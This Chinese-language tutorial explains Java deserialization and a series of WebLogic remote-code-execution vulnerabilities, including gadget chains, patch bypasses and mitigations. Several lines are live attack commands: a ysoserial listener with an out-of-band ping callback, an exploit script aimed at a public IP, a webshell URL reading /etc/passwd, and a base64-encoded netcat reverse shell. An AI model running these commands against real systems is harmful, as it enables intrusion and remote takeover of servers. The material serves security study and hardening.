序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中。反序列化是指把字节序列恢复为 Java 对象的过程。
ObjectOutputStream类的 writeObject() 方法可以实现序列化。
ObjectInputStream 类的 readObject() 方法用于反序列化。
自写代码实现序列化和反序列化的过程:
上述代码功能是将String对象obj1序列化后写入object文件,后反序列化得到对象obj2。
可通过SerializationDumper这个工具来查看其存储格式,特征为其Magic头为0xaced,可查看上述Object文件中的内容:
ac ed 00 05是java序列化内容的特征,漏洞挖掘人员通常对 weblogic 在 7001 端口的 T3 协议进行抓包,发现流量中有 java 反序列化之后数据的 Magic ac ed 00 05,然后替换掉对应的部分。其编码后是rO0ABQ==
1、http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等 2、ServletsHTTP,Sockets,Session管理器包含的协议就包括JMX,RMI,JMS,JNDI等(\xac\xed) 3、xmlXstream,XMLDecoder等(HTTP Body:Content-Type:application/xml) 4、json(Jackson,fastjson) http请求中包含
序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
自写代码模拟反序列化漏洞的成因:
可见test.class中MyObject类有一个共有属性name,myObj实例化后将myObj.name赋值为了“hi”,然后序列话写入object:
漏洞发生在反序列化过程,MyObject类实现了Serializable接口,并重写了readObject()函数(从源输入流中读取字节序列,反序列化成对象),这里定制的行为是打开计算器:
从廖新喜师傅的攻击图整体上了解攻击:
1、官网安装
注册账号,下载地址
http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
2、Docker 安装
直接用Vulhub的镜像
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 安装完毕版本是 10.3.6.0,配置运行信息在地址内有详细说明。
Ysoserial是国外一款安全工具,集合了各种java反序列化payload,下载地址:
https://github.com/frohoff/ysoserial/
工具界面如下:
可见其有CommonsCollections、Groovy1、Jdk7u21、Spring等常见payload。通过对该攻击代码的分析,可以学习巧妙的构造方法和共同的利用特性:具体的payload分析见:
http://www.vuln.cn/6295
1、在公网上选择一个端口进行流量监听:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
2、客户端发送payload
python exploit.py 118.89.53.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139 1099 JRMPClient
解释:JRMPListener 是 ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据发送到 Server 中,然后Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload。
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。
WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。
Weblogic反序列化高危漏洞主要涉及到两个种类:
1、利用xml decoded反序列化进行远程代码执行的漏洞,例如:
CVE-2017-10271,CVE-2017-3506。
2、利用java反序列化进行远程代码执行的漏洞,例如:
CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、
CVE-2018-2894、
概述:
漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞,Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。也是之前一段时间市面上挖矿主力军。
案例:
xmldecoder.xml:
利用Java的XMLDecoder解析这个xml文件:
这段代码执行后,直接删除了本地的e:\1.txt文件,相当于在命令行调用了cmd /c del e:\1.txt命令。Jdk中的XmlDecoder反序列化能调用本地的应用,也能执行系统支持的命令。
漏洞分析:
漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求,在weblogic.wsee.jaxws.workcontext.WorkContextServerTube
类中获取XML数据传递给XMLDecoder来解析。
实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,最后通过XMLDecoder来进行反序列化操作。
漏洞复现:
A、抓包改包:
B、工具测试:
java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://192.168.43.100:7001 test.jsp
访问地址:
http://192.168.43.100:7001/bea_wls_internal/test.jsp?password=secfree&command=cat%20/etc/passwd
修复建议:
1、建议不要用JDK中的XmlDeocder类,寻求其它更安全的xml解析工具类,考虑是否删除WLS-WebServices组件
2、官方修复:补丁限定了object,new,method,void,array等字段,限定了不能生成java 实例
CVE-2017-10271 是3506的绕过。下图是CVE-2017-3506修复补丁的部分代码:
图中红框内的代码是限制CVE-2017-3506漏洞利用的黑名单,这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。
CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。
因此,在CVE-2017-10271漏洞爆发之后,Oracle官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了new、method、void、array等关键字进行漏洞修补,成功防御了CVE-2017-10271漏洞。
概述:
借用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行。这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。
漏洞分析:
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
如果某个可序列化的类重写了ReadObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。
于是找到了这个类:AnnotationInvocationHandler。该类的代码如下
我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
漏洞验证
分析:
https://security.tencent.com/index.php/blog/msg/97
Poc:
https://github.com/fjserna/CVE-2015-7547
修复方案:
黑名单方式过滤了危险的反序列化类(之后的漏洞都是对黑名单的过滤和绕过):
此漏洞是基于CVE-2015-4852漏洞进行黑名单的绕过。
如果能找到可以在其readObject中创建自己的InputStream的对象,并且不是使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream的readExternal进行的反序列化,最后调用readObject()方法进行反序列化的数据的读取,这样就可以执行含有恶意代码的序列化代码。
CVE-2016-0638漏洞就是依据这个思路找到了weblogic.jms.common.StreamMessageImpl类,其中的readExternal()方法也符合攻击的需求。攻击者可以在其中构造一个恶意的ObjectInputStream来实现payload内部的InputStream创建,调用readObject()方法实现攻击。
此漏洞是与CVE-2016-0638漏洞利用方式相似,只是选择了
weblogic.corba.utils.MarshalledObject进行绕过,绕过之前的CVE-2015-4852和CVE-2016-0638漏洞的修复补丁。
POC中插入的想要执行的命令的形式很特殊,必须要插入类似于bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}这种形式的命令才可以达到攻击效果,这是因为使用了java.lang.Runtime.exec(String)语句而导致的一些限制。首先是不支持shell操作符,如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格。
CVE-2017-3248漏洞利用方法与之前三个漏洞不同,这次主要是利用了JRMP Java远程方法协议。利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行。下图是ysoserial中相应的payload:
CVE-2018-2628漏洞与CVE-2017-3248漏洞利用方法类似,仅仅更换了使用的RMI接口,用java.rmi.activation.Activator替换了CVE-2017-3248所使用的java.rmi.registry.Registry,从而绕过resolveProxyClass的判断,成功绕过了CVE-2017-3248漏洞的修复补丁。其他攻击流程相同。
CVE-2018-2893漏洞,同样是对resolveProxyClass函数进行绕过,导致攻击者可以利用UnicastRef和远端建立tcp连接,获取RMI registry,再将加载的内容利用readObject解析,从而造成反序列化远程代码执行。
CVE-2018-2893漏洞绕过方式是利用StreamMessageImpl对ysoserial工具中的JRMPClient生成的payloadObject进行封装,由于StreamMessageImpl在进行反序列化时并不会被resolveProxyClass检测,导致绕过的产生,最后成功的进行了反序列化攻击。
概述:
WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。
影响版本:WebLogic 10.X
WebLogic 12.1.3
漏洞分析:
搭建环境,访问http://ip:7001/_async/AsyncResponseService
如果出现以下页面,则存在漏洞:
修改请求包如下,并进行流量监听即可反弹shell。
修复建议:
在官方补丁发布之前,临时解决方案如下:
1、删除该wls9_async_response.war包并重启webLogic:
该war包具体路径如下:
WebLogic 10.3.*:
Middleware/wlserver_10.3/server/lib/bea_wls9_async_response.war
WebLogic 12.1.3:
Middleware/Oracle_Home/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war
2、 通过访问策略控制禁止 /_async/* 路径的URL访问。
手动挖掘反序列化漏洞:
• 过滤T3协议,限定可连接的IP • 设置Nginx反向代理,实现t3协议和http协议隔离 • JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理
• 不要反序列化不可信的数据 • 给反序列数据加密签名,并确保解密在反序列之前 • 给反序列化接口添加认证授权 • 反序列化服务只允许监听在本地或者开启相应防火墙 • 升级第三方库 • 升级JDK,JEP290
不尽完善,后续文档和利用工具需要请自取:
https://github.com/Jayway007/Weblogic-Deserialization